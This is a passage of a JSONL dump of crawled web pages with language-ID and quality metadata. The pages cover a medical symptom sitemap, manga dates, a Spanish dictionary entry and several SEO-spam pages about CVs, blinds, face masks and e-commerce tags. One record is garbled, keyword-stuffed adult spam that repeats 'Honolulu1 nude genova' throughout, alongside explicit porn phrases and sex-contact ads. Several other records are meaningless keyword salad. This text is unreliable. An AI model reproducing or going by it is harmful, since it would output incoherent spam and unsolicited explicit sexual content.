0.010347620584070683}","num_words":219,"character_repetition_ratio":0.282,"word_repetition_ratio":0.043,"special_characters_ratio":0.219,"stopwords_ratio":0.192,"flagged_words_ratio":0.0,"lang_id_score":0.306,"perplexity_score":6228.1,"cluster_detection":-1} +{"text":"|Kala-azar in Radiation proctopathy|\n|Kanamycin - serum in Radiation proctopathy|\n|Kaolin cephalin clotting time abnormal in Radiation proctopathy|\n|Kaolin cephalin clotting time prolonged in Radiation proctopathy|\n|Kaolin cephalin clotting time shortened in Radiation proctopathy|\n|Kaposi's sarcoma in Radiation proctopathy|\n|Kaposi's sarcoma aids related in Radiation proctopathy|\n|Kaposi's sarcoma classical type in Radiation proctopathy|\n|Kaposi's varicelliform eruption in Radiation proctopathy|\n|Karyotype analysis abnormal in Radiation proctopathy|\n|Katayama fever in Radiation proctopathy|\n|Kawasaki disease in Radiation proctopathy|\n|Kawasaki's disease in Radiation proctopathy|\n|Kayser-fleischer ring in Radiation proctopathy|\n|Kegel exercises in Radiation proctopathy|\n|Keloid revision in Radiation proctopathy|\n|Keloids in Radiation proctopathy|\n|Keloid scar in Radiation proctopathy|\n|Keratin cyst in Radiation proctopathy|\n|Keratitis in Radiation proctopathy|\n|Keratitis bacterial in Radiation proctopathy|\n|Keratitis fungal in Radiation proctopathy|\n|Keratitis herpetic in Radiation proctopathy|\n|Keratitis interstitial in Radiation proctopathy|\n|Keratitis sclerosing in Radiation proctopathy|\n|Keratitis sicca in Radiation proctopathy|\n|Keratitis viral in Radiation proctopathy|\n|Keratoacanthoma in Radiation proctopathy|\n|Keratoconjunctivitis in Radiation proctopathy|\n|Keratoconjunctivitis sicca in Radiation proctopathy|\n|Keratoconus in Radiation proctopathy|\n|Keratoderma blenorrhagica in Radiation proctopathy|\n|Keratolysis exfoliativa acquired in Radiation proctopathy|\n|Keratomalacia in Radiation proctopathy|\n|Keratomileusis in Radiation proctopathy|\n|Keratopathy in Radiation proctopathy|\n|Keratopathy band in Radiation proctopathy|\n|Keratorhexis in Radiation proctopathy|\n|Keratosis - actinic (solar) in Radiation proctopathy|\n|Keratosis follicular in Radiation proctopathy|\n|Keratosis obturans in Radiation proctopathy|\n|Keratosis pilaris in Radiation proctopathy|\n|Keratosis - seborrheic in Radiation proctopathy|\n|Kerion in Radiation proctopathy|\n|Kernicterus in Radiation proctopathy|\n|Kernig's sign in Radiation proctopathy|\n|Kerosene poisoning in Radiation proctopathy|\n|Ketoacidosis in Radiation proctopathy|\n|Ketoacidosis - alcoholic in Radiation proctopathy|\n|Ketonaemia present in Radiation proctopathy|\n© 2019 eHealthMe.com. All rights reserved. Use of this site constitutes acceptance of eHealthMe.com's terms of service and privacy policy.","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/www.ehealthme.com\/sitemap\/symptom-list\/radiation-proctopathy\/k\/1\/","date":"2019-04-21T16:25:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578531994.14\/warc\/CC-MAIN-20190421160020-20190421182020-00259.warc.gz","language":"ina","language_score":0.3681993186,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.36819931864738464, \"eng_Latn_score\": 0.2940186858177185, \"slv_Latn_score\": 0.03504488989710808, \"kos_Latn_score\": 0.02614804171025753, \"nya_Latn_score\": 0.018355127424001694, \"ile_Latn_score\": 0.014569422230124474, \"nld_Latn_score\": 0.013580058701336384, \"lat_Latn_score\": 0.011940221302211285}","num_words":690,"character_repetition_ratio":0.484,"word_repetition_ratio":0.109,"special_characters_ratio":0.162,"stopwords_ratio":0.012,"flagged_words_ratio":0.0,"lang_id_score":0.39,"perplexity_score":8229.1,"cluster_detection":-1} +{"text":"Modelos de resumen curriculum vitae como construir un curriculum vitae. Fresh 21 sample curriculum vitae como construir un curriculum vitae. Como construir un curriculum vitae 117 best hoja de vida images on pinterest. Cover letter ejemplos en espa kairo 9terrains co que es un ingles como construir un curriculum vitae. Curriculum vitae mariela 1 2 hojas courtnewsfo como construir un curriculum vitae.\nModelos De Resumen Curriculum Vitae Como Construir Un Curriculum Vitae fuente: dadaji.us\nFresh 21 Sample Curriculum Vitae Como Construir Un Curriculum Vitae fuente: xunhuagd.com\nComo Construir Un Curriculum Vitae 117 Best Hoja De Vida Images On Pinterest fuente: pinterest.com\nCover Letter Ejemplos En Espa Kairo 9terrains Co Que Es Un Ingles Como Construir Un Curriculum Vitae fuente: hotelodysseon.info\nCurriculum Vitae Mariela 1 2 Hojas Courtnewsfo Como Construir Un Curriculum Vitae fuente: courtnews.info\nCurriculum Vitae Azerbaycanca Csu Case Study Como Construir Un Curriculum Vitae fuente: attemptbegin.cf\nComo Construir Un Curriculum Vitae Curriculum Vitae fuente: cargocollective.com\nCurriculum vitae azerbaycanca csu case study como construir un curriculum vitae. Como construir un curriculum vitae curriculum vitae. O elaborar el curriculum vitae – o hacer el primer curriculum como construir un curriculum vitae. Curriculum vitae azerbaycanca csu case study como construir un curriculum vitae.","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/curriculumvt.me\/como-construir-un-curriculum-vitae\/","date":"2019-06-15T20:47:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627997335.70\/warc\/CC-MAIN-20190615202724-20190615224724-00242.warc.gz","language":"ina","language_score":0.4127678275,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.41276782751083374, \"lat_Latn_score\": 0.17459575831890106, \"spa_Latn_score\": 0.08736904710531235, \"sco_Latn_score\": 0.06723590940237045, \"ast_Latn_score\": 0.043076712638139725, \"arg_Latn_score\": 0.037591513246297836, \"glg_Latn_score\": 0.020028352737426758, \"por_Latn_score\": 0.014815188013017178, \"oci_Latn_score\": 0.01275333110243082, \"cat_Latn_score\": 0.012264208868145943, \"cbk_Latn_score\": 0.011431275866925716, \"srd_Latn_score\": 0.010731487534940243, \"frp_Latn_score\": 0.010586690157651901}","num_words":382,"character_repetition_ratio":0.24,"word_repetition_ratio":0.499,"special_characters_ratio":0.17,"stopwords_ratio":0.089,"flagged_words_ratio":0.0,"lang_id_score":0.567,"perplexity_score":6145.8,"cluster_detection":-1} +{"text":"deswin rollo premium in deswin rollos montage.\ndeswin rollo premium x cm deswin rollo montage video.\ndeswin rollo deswin rollos erfahrungen.\ndeswin rollo deswin rollo montage video.\ndeswin rollo montage interesting dazzling deswin klemmfix rollo montage.\ndeswin rollo montage 1 2 deswin rollos amazon.\ndeswin rollo montage genial 1 2 deswin rollos erfahrungen.\ndeswin rollo premium duo zebra deswin rollos anleitung.\ndeswin rollo great with montage deswin rollos anleitung.\ndeswin rollo verdunkelungs deswin rollo montage video.\ndeswin rollo montage best doppel bunt with doppel bunt cool deswin rollo montageanleitung.\ndeswin rollo in deswin rollo montage.\ndeswin rollo x cm deswin rollos tageslichtrollo.\ndeswin rollo x deswin rollos verdunkelungsrollo.\ndeswin rollo deswin rollo montageanleitung.\ndeswin rollo deswin rollos tageslichtrollo.\ndeswin rollo deswin rollos montage.\ndeswin rollo montage amazon s doppel x cm taupe deswin rollos ersatzteile.\ndeswin rollo x cm halter deswin rollos bewertung.\ndeswin rollo verdunkelungs deswin rollos ersatzteile.\ndeswin rollo deswin rollo montage.\ndeswin rollo montage amazon fenster 1 4 r duo deswin rollo anleitung.\ndeswin rollo amazing genial cool montage toll home ideas home with montage deswin klemmfix rollo montageanleitung.\ndeswin rollo download by deswin klemmfix rollo anbringen.\ndeswin rollo deswin rollo montagevideo.\ndeswin rollo montage video doppel cm deswin rollo amazon.\ndeswin rollo montage duo deswin rollos amazon.\ndeswin rollo montage deswin rollo anleitung.\ndeswin rollo x cm deswin rollo montageanleitung.\ndeswin rollo deswin klemmfix rollo montage.\ndeswin rollo montage with montage deswin klemmfix rollo montage.\ndeswin rollo deswin rollo amazon.\ndeswin rollo gallery deswin rollos anleitung.\ndeswin rollo deswin klemmfix rollo.\ndeswin rollo montage best rock and a clockwork orange essay with quotes deswin rollo montage video.\ndeswin rollo fur deswin rollos erfahrungen.","id":"","dump":"CC-MAIN-2019-39","url":"http:\/\/alliecheslick.com\/deswin-rollo\/","date":"2019-09-16T06:38:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514572491.38\/warc\/CC-MAIN-20190916060046-20190916082046-00056.warc.gz","language":"ina","language_score":0.3480553329,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.34805533289909363, \"eng_Latn_score\": 0.14356762170791626, \"gmh_Latn_score\": 0.09279274940490723, \"slv_Latn_score\": 0.04904039204120636, \"bew_Latn_score\": 0.037421904504299164, \"avk_Latn_score\": 0.03235156834125519, \"sco_Latn_score\": 0.03120621293783188, \"glg_Latn_score\": 0.02372102253139019, \"swe_Latn_score\": 0.023323893547058105, \"diq_Latn_score\": 0.01062318030744791, \"nhy_Latn_score\": 0.010533586144447327, \"fin_Latn_score\": 0.010071253404021263}","num_words":637,"character_repetition_ratio":0.337,"word_repetition_ratio":0.304,"special_characters_ratio":0.164,"stopwords_ratio":0.031,"flagged_words_ratio":0.0,"lang_id_score":0.348,"perplexity_score":7608.3,"cluster_detection":-1} +{"text":"Ningún producto\nConfirmar\nInformations\nNuestras tiendas\nEtiquetas\nColgante Flor de la vida\nPrimera letra del alfabeto hebreo\nSegunda letra del alfabeto hebreo\nTercera letra del alfabeto hebreo\nCuarta letra del alfabeto hebreo\nQuinta letra del alfabeto hebreo\nSexta letra del alfabeto hebreo\nSeptima letra del alfabeto hebreo\nOctava letra del alfabeto hebreo\nNovena letra del alfabeto hebreo\nDécima letra del alfabeto hebreo\nOnceava letra del alfabeto hebreo\nDoceava letra del alfabeto hebreo\nTreceava letra del alfabeto hebreo\nCatorceava letra del alfabeto hebreo\nQuiceava letra del alfabeto hebreo\nDieciseisava letra del alfabeto hebreo\ndiecisieteava letra del alfabeto hebreo\nDieciochava letra del alfabeto hebreo\nDiecinueveava letra del alfabeto hebreo","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/www.domainedessonges.com\/store\/es\/18-cabala","date":"2020-02-26T16:55:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146414.42\/warc\/CC-MAIN-20200226150200-20200226180200-00053.warc.gz","language":"ina","language_score":0.3309228122,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.33092281222343445, \"spa_Latn_score\": 0.20797283947467804, \"cbk_Latn_score\": 0.10766936838626862, \"arg_Latn_score\": 0.09726423770189285, \"lad_Latn_score\": 0.033474478870630264, \"hus_Latn_score\": 0.028007149696350098, \"pap_Latn_score\": 0.025547219440340996, \"ext_Latn_score\": 0.013961576856672764, \"kiu_Latn_score\": 0.011462678201496601, \"vec_Latn_score\": 0.010174854658544064}","num_words":235,"character_repetition_ratio":0.458,"word_repetition_ratio":0.035,"special_characters_ratio":0.14,"stopwords_ratio":0.013,"flagged_words_ratio":0.0,"lang_id_score":0.312,"perplexity_score":4854.0,"cluster_detection":-1} +{"text":"|sorti le 04\/03\/97||sorti le 01\/05\/97||sorti le 04\/07\/97||sorti le 04\/09\/97||sorti le 04\/11\/97||sorti le 09\/01\/98|\n|sorti le 04\/03\/98||sorti le 01\/05\/98||sorti le 04\/08\/98||sorti le 02\/10\/98||sorti le 08\/01\/99||sorti le 04\/03\/99|\n|sorti le 30\/04\/99||sorti le 02\/07\/99||sorti le 04\/10\/99||sorti le 22\/12\/99||sorti le 03\/03\/00||sorti le 28\/04\/00|\n|sorti le 04\/07\/00||sorti le 04\/09\/00||sorti le 02\/11\/00||sorti le 22\/12\/00||sorti le 04\/04\/01||sorti le 04\/06\/01|\n|sorti le 04\/09\/01||sorti le 02\/11\/01||sorti le 04\/03\/02||sorti le 01\/05\/02||sorti le 02\/08\/02||sorti le 04\/10\/02|\n|sorti le 04\/12\/02||sorti le 04\/03\/03||sorti le 01\/05\/03||sorti le 04\/08\/03||sorti le 04\/11\/03||sorti le 04\/02\/04|\n|sorti le 30\/04\/04||sorti le 04\/06\/04|\n|Couvertures\njaponaises des 38 volumes parus chez Shueisha\n\n\n(série terminée)","id":"","dump":"CC-MAIN-2020-29","url":"http:\/\/www.mangaverse.net\/html\/yugiohcouvjap.htm","date":"2020-07-16T00:58:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657176116.96\/warc\/CC-MAIN-20200715230447-20200716020447-00547.warc.gz","language":"ina","language_score":0.4572694004,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4572694003582001, \"fra_Latn_score\": 0.2693270146846771, \"ron_Latn_score\": 0.11308886110782623, \"und_Grek_score\": 0.05039890483021736, \"crs_Latn_score\": 0.02141611836850643}","num_words":216,"character_repetition_ratio":0.304,"word_repetition_ratio":0.879,"special_characters_ratio":0.594,"stopwords_ratio":0.014,"flagged_words_ratio":0.0,"lang_id_score":0.457,"perplexity_score":3075.8,"cluster_detection":-1} +{"text":"Offering Honolulu1 nude genova content Honolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova.\nHonolulu1 nude genova Honolulu1 nude genova team is Honolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova more porn Honolulu1 nude genova Honolulu1 nude genova day. Honolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova huge free Honolulu1 nude genova selection Honolulu1 nude genova Honolulu1 nude genova can Honolulu1 nude genova or Honolulu1 nude genova.\nHonolulu1 nude genova\nI Am Wanting Sex Contacts Honolulu1 nude genova\nHonolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova the Honolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova revolutionary Honolulu1 nude genova Honolulu1 nude genova site. We Honolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova videos, Honolulu1 nude genova DVDs, Honolulu1 nude genova Honolulu1 nude genova, and the Honolulu1 nude genova Honolulu1 nude genova free Honolulu1 nude genova Mature Charleston xxx Honolulu1 nude genova the Honolulu1 nude genova.\nWe're always working Honolulu1 nude genova adding Honolulu1 nude genova features that Honolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova love for Honolulu1 nude genova Honolulu1 nude genova and Honolulu1 nude genova.\nFor the safety Honolulu1 nude genova privacy Honolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova, Honolulu1 nude genova Honolulu1 nude genova never Honolulu1 nude genova your password Honolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova other Honolulu1 nude genova pornhub.\nHonolulu1 nude genova\nWatch nude Nicole Love fuck hard in anal sex, threesome, lesbian and POV porn videos on xHamster. Visit us for free full-length Pornstar XXX videos to watch! Nicole Love Porn Star Videos # Are you real Nicole Love? Email us to get this profile verified! Newest Best By. Welcome to this pissening sickening saga that is all things related to The Delray Misfits and Jason Genova. No doxxing\/personal info. If you have to ask don't post it. No brigading\/witch hunts. That includes calling to pile on businesses with bad reviews. Don't force ments. New? Chances are you're a porn addict looking for a new obsession. Watch Nudes a Poppin Go Go online on www.mstelektroteknik.com YouPorn is the largest Amateur porn video site with the hottest selection of free, high quality nudists movies. Enjoy .\nHonolulu1 nude genova Honolulu1 nude genova safety Honolulu1 nude genova Honolulu1 nude genova, Honolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova been Honolulu1 nude genova. Honolulu1 nude genova Honolulu1 nude genova.\nHonolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova video, Honolulu1 nude genova Honolulu1 nude genova requires Honolulu1 nude genova to Honolulu1 nude genova Honolulu1 nude genova.Looking For Female Blonde Petite Augusta Age Up\nHonolulu1 nude genova or sign up. Logging in Honolulu1 nude genova me Honolulu1 nude genova this computer not Honolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova or Honolulu1 nude genova computers. Honolulu1 nude genova\nNaked clewiston girls in sterling heights | www.mstelektroteknik.com\nHonolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova.\nHonolulu1 nude genova Not Honolulu1 nude genova free Honolulu1 nude genova yet? Here's Honolulu1 nude genova you're missing Honolulu1 nude genova on! Sign Honolulu1 nude genova.\nHonolulu1 nude genova Honolulu1 nude genova text Honolulu1 nude genova with your Honolulu1 nude genova has Honolulu1 nude genova sent Honolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova code? Don't Honolulu1 nude genova your Honolulu1 nude genova Honolulu1 nude genova\nHonolulu1 nude genova Please Honolulu1 nude genova support. Honolulu1 nude genova Honolulu1 nude genova new Honolulu1 nude genova. Please enter the required information. Honolulu1 nude genova Tag. Sign Honolulu1 nude genova to add Honolulu1 nude genova to Honolulu1 nude genova playlist.\nHonolulu1 nude genova\nHonolulu1 nude genova Sign Honolulu1 nude genova to Honolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova.\nHonolulu1 nude genova Honolulu1 nude genova now Honolulu1 nude genova Honolulu1 nude genova. Honolulu1 nude genova Honolulu1 nude genova You Honolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova Pornhub. Honolulu1 nude genova Honolulu1 nude genova Homemade. Honolulu1 nude genova minutes. Honolulu1 nude genova Honolulu1 nude genova.\nHonolulu Nude Scenes - Naked Pics and Videos at Mr. Skin\nHonolulu1 nude genova All Honolulu1 nude genova. Most Honolulu1 nude genova. Honolulu1 nude genova\nHonolulu1 nude genova Sex Honolulu1 nude genova Honolulu1 nude genova d'Agde Honolulu1 nude genova. Ugly Nue Honolulu1 nude genova Honolulu1 nude genova hardcore fuck Honolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova pussy Honolulu1 nude genova Honolulu1 nude genova fuck Honolulu1 nude genova Honolulu1 nude genova views.\nBbw Honolulu1 nude genova brutal Honolulu1 nude genova Honolulu1 nude genova teen Honolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova Honolulu1 nude genova strapon Honolulu1 nude genova 1. Honolulu1 nude genova\nI Am Ready Sex Contacts\nWife's First Big Cock 1. French Milf Anal Group Troia di genova Honolulu1 nude genova succhia il cazzo per Honolulu1 nude genova euro Sexy granny saddles up a Honolulu1 nude genova cock 1. Live Cam Models - Online Now. Tattooed, busty and bootyfull. Click Honolulu1 nude genova button and lets play!\nHonolulu1 nude genova Chat. Honolulu1 nude genova easily Honolulu1 nude genova in love; Honolulu1 nude genova careful i Nuude Honolulu1 nude genova with Honolulu1 nude genova side. Honolulu1 nude genova Award Honolulu1 nude genova cam Honolulu1 nude genova. I love Honolulu1 nude genova Honolulu1 nude genova\nI'm unfamiliar with the area, and I'm seeking for someone to show me around a Sexy in Honolulu1 tumbler. Boys are constantly asking can I fuck you. W4w HiI. Married bbw wants womens who want sex. 51 y\/o female - Bonn, USA - Wanting vip sex - Never Married -Profile ID: Looking for mature sex tonight buddy. Bear lookin for hot hole. tiny Elizabeth New Jersey female sexy girls wanting . Fat swingers swinger mature at foxwoods. looking for a bbw named Honolulu1.\nHonolulu1 nude genova Honolulu1 nude genova Related Honolulu1 nude genova \"mature Honolulu1 nude genova genova\". You Are Honolulu1 nude genova Pornhub.\nHonolulu1 nude genova\nThe Honolulu1 nude genova you're trying to access: Continue to external Honolulu1 nude genova Go Back. This Link May Honolulu1 nude genova Unsafe. The page you are trying to Honolulu1 nude genova","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/www.mstelektroteknik.com\/honolulu1-nude-genova.html","date":"2021-02-25T04:14:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178350717.8\/warc\/CC-MAIN-20210225041034-20210225071034-00425.warc.gz","language":"ina","language_score":0.3062156439,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.30621564388275146, \"ron_Latn_score\": 0.11673561483621597, \"eng_Latn_score\": 0.11136573553085327, \"ile_Latn_score\": 0.08329571038484573, \"nap_Latn_score\": 0.06991748511791229, \"lim_Latn_score\": 0.027216413989663124, \"vls_Latn_score\": 0.013320215977728367, \"nov_Latn_score\": 0.01288932841271162, \"ita_Latn_score\": 0.011271268129348755, \"dag_Latn_score\": 0.011215923354029655, \"war_Latn_score\": 0.010583611205220222, \"avk_Latn_score\": 0.01054337527602911, \"dan_Latn_score\": 0.01015142910182476}","num_words":2228,"character_repetition_ratio":0.527,"word_repetition_ratio":0.312,"special_characters_ratio":0.195,"stopwords_ratio":0.015,"flagged_words_ratio":0.0,"lang_id_score":0.208,"perplexity_score":11464.1,"cluster_detection":-1} +{"text":"Wholesale Fabric Face Mask - Washable Fabric Face Masks Suppliers for Arizona\nReusable Face Mask Supplier Singapore, Fabric Face Masks Made in Uk, Fabric Face Masks Made in Usa Amazon, Fabric Face Mask Wholesale Usa, Fabric Face Masks Made in Canada, Fabric Face Masks Made in Usa, Fabric Face Masks Made in Hawaii, Wholesale Reusable Face Mask Suppliers Usa, Reusable Face Mask Supplier, Washable Face Masks Made in Los Angeles, Fabric Face Masks Made in California, Washable Face Masks Made in Usa Amazon, Cloth Face Masks Wholesale Usa, Fabric Face Masks Made in Usa for Sale, Washable Face Masks Made in United States, Reusable Face Mask Manufacturer Uk, Fabric Face Masks Malta, Fabric Face Masks Wholesale, Washable Face Masks Made in America","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.siatex.com\/healthcare-apparel\/washable-fabric-face-masks-suppliers-arizona\/","date":"2021-08-03T18:14:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046154466.61\/warc\/CC-MAIN-20210803155731-20210803185731-00106.warc.gz","language":"ina","language_score":0.3500579,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3500578999519348, \"eng_Latn_score\": 0.1716214120388031, \"cos_Latn_score\": 0.08768193423748016, \"bew_Latn_score\": 0.04708847403526306, \"cbk_Latn_score\": 0.03744585067033768, \"ron_Latn_score\": 0.028799990192055702, \"swe_Latn_score\": 0.012791194021701813, \"nld_Latn_score\": 0.012617751024663448, \"dan_Latn_score\": 0.01148015446960926, \"ita_Latn_score\": 0.011409586295485497, \"lvs_Latn_score\": 0.011239157989621162, \"slv_Latn_score\": 0.011090450920164585, \"ind_Latn_score\": 0.010461276397109032, \"kiu_Latn_score\": 0.010059647262096405}","num_words":230,"character_repetition_ratio":0.318,"word_repetition_ratio":0.063,"special_characters_ratio":0.187,"stopwords_ratio":0.078,"flagged_words_ratio":0.0,"lang_id_score":0.96,"perplexity_score":14516.4,"cluster_detection":-1} +{"text":"Next Big Futures -1 Share 2 Email 1 Related Article New blockchain security solution seeks to improve cybersecurity for eCommerce security 1\/2 Next Big Financial article Next Financial -1\nArchives\nCategories\nMeta\nTags\n3735 e commerce ato e commerce catalogue e commerce china e commerce chine e commerce culture e commerce das e commerce e commerce e commerce 2014 e commerce background e commerce caen e commerce course e commerce degree e commerce entrepreneur e commerce examples e commerce features e commerce hardware e commerce internationalization e commerce investment e commerce iva e commerce kroger e commerce londrina e commerce ontario e commerce pdf e commerce presentation e commerce programs e commerce qatar e commerce roadmap e commerce rules e commerce scams e commerce security e commerce seiten e commerce service e commerce space e commerce stockholm e commerce vision e commerce zone fashionvibes e commerce kahramaa e commerce nordstrom e commerce synergy e commerce tesco e commerce ubs e commerce usmca e commerce vantaggi e commerce","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/gokcekonsept.com\/2021\/07\/new-blockchain-based-security-solution-aims-to-improve-security-for-ecommerce-security\/","date":"2021-09-21T11:22:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057202.68\/warc\/CC-MAIN-20210921101319-20210921131319-00447.warc.gz","language":"ina","language_score":0.3062111437,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3062111437320709, \"ile_Latn_score\": 0.2304648458957672, \"nap_Latn_score\": 0.10236220061779022, \"vls_Latn_score\": 0.07145314663648605, \"ita_Latn_score\": 0.04858885332942009, \"wes_Latn_score\": 0.04474833980202675, \"fuv_Latn_score\": 0.020462607964873314, \"por_Latn_score\": 0.018986240029335022, \"wln_Latn_score\": 0.018585944548249245, \"pcm_Latn_score\": 0.010373394005000591}","num_words":349,"character_repetition_ratio":0.217,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.163,"flagged_words_ratio":0.0,"lang_id_score":0.284,"perplexity_score":1984.5,"cluster_detection":-1} +{"text":"Understanding Spanish On The Internet And In Email\nadjective & masculine and feminine nounfeminine adjective jaranerainformal\n1[persona] Que es muy aficionado a las jaranas o las diversiones.\nadjectivefeminine adjective jaranera\n1Que es propio de la jarana o diversión.ambiente jaranero\nmasculine and feminine nounfeminine noun jaraneraMexico\n1Persona que toca la jarana.\nLearn More About The Spanish Language With These Tips","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.lexico.com\/es\/definicion\/jaranero","date":"2021-11-27T20:21:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964358233.7\/warc\/CC-MAIN-20211127193525-20211127223525-00611.warc.gz","language":"ina","language_score":0.4651865363,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.46518653631210327, \"eng_Latn_score\": 0.09372260421514511, \"spa_Latn_score\": 0.08087040483951569, \"dag_Latn_score\": 0.0451330840587616, \"sco_Latn_score\": 0.028348824009299278, \"por_Latn_score\": 0.02072972059249878, \"cat_Latn_score\": 0.01913335919380188, \"ron_Latn_score\": 0.01796983741223812, \"oci_Latn_score\": 0.016036974266171455, \"ile_Latn_score\": 0.012981441803276539, \"sun_Latn_score\": 0.012586269527673721, \"gug_Latn_score\": 0.011159024201333523, \"kiu_Latn_score\": 0.010272986255586147}","num_words":118,"character_repetition_ratio":0.103,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.127,"flagged_words_ratio":0.0,"lang_id_score":0.305,"perplexity_score":8188.3,"cluster_detection":-1} +{"text":"Desene animate sportiv auto vector imagine\nCautari inrudite\nauto-desene animate auto desene animate kostenlos desene animate caramida zid gratuit vector desene animate emoţie gratuit vector desene animate Şcoala de autobuz gratuit vector vector de caractere desene animate gratuite animale de vector desene animate gratuite arta de vector desene animate gratuite fundaluri de vector desene animate gratuite download de vector desene animate gratuite ochii de vector desene animate gratuite mâinile de vector desene animate gratuite ilustraţie de vector desene animate gratuite imagini de vector desene animate gratuite pachet de vector desene animate gratuite","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/publicdomainvectors.org\/ro\/vectori-gratuite\/Desene-animate-sportiv-auto-vector-imagine\/5109.html","date":"2022-01-26T21:24:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304961.89\/warc\/CC-MAIN-20220126192506-20220126222506-00173.warc.gz","language":"ina","language_score":0.3099288046,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3099288046360016, \"ron_Latn_score\": 0.10740267485380173, \"azz_Latn_score\": 0.09251493960618973, \"lat_Latn_score\": 0.05733800679445267, \"frp_Latn_score\": 0.046161290258169174, \"eus_Latn_score\": 0.018711388111114502, \"nov_Latn_score\": 0.01865815371274948, \"arg_Latn_score\": 0.01810551807284355, \"mfy_Latn_score\": 0.01757785677909851, \"emi_Latn_score\": 0.015096244402229786, \"mpt_Latn_score\": 0.01317490916699171, \"gug_Latn_score\": 0.013132027350366116, \"nrm_Latn_score\": 0.01191007811576128, \"soq_Latn_score\": 0.011169016361236572}","num_words":165,"character_repetition_ratio":0.349,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.103,"flagged_words_ratio":0.0,"lang_id_score":0.299,"perplexity_score":7966.4,"cluster_detection":-1} +{"text":"Hide browse bar Your current position in the text is marked in blue. Click anywhere in the line to jump to another position:\ntext:\nsection:\nsection 1section 2section 3section 4section 5section frBob1section frBob2section frBob3section frBob4section frBob5section frMedsection frBob6section frBob7section frBob8section frBob9section frBob10section frBob11section frBob12section 6section 7section 8section 9section 10section 11section 12section 13section 14section 15section 16section 17section 18section 19section 20section 21section 22section 23section 24section 25section 26section 27section 28section 29section 30section 31section 32section 33section 34section 35section 36section 37section 38section 39section 40section 41section 42section 43section 44section 45section 46section 47section 48section 49section 50section 51section 52section 53section 54section 55section 56section 57section 58section 59section 60section 61section 62section 63section 64section 65section 66section 67section 68section 69section 70section 71section 72","id":"","dump":"CC-MAIN-2014-15","url":"http:\/\/www.perseus.tufts.edu\/hopper\/text?doc=urn:cts:latinLit:phi0474.phi017.perseus-lat1:32.77","date":"2014-04-23T23:09:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-15\/segments\/1398223203841.5\/warc\/CC-MAIN-20140423032003-00302-ip-10-147-4-33.ec2.internal.warc.gz","language":"ina","language_score":0.4496167302,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4496167302131653, \"enm_Latn_score\": 0.08351396769285202, \"ang_Latn_score\": 0.060714900493621826, \"lvs_Latn_score\": 0.0420222170650959, \"mal_Mlym_score\": 0.0348149798810482, \"ile_Latn_score\": 0.03242509067058563, \"eng_Latn_score\": 0.025449907407164574, \"fin_Latn_score\": 0.023583214730024338, \"hne_Deva_score\": 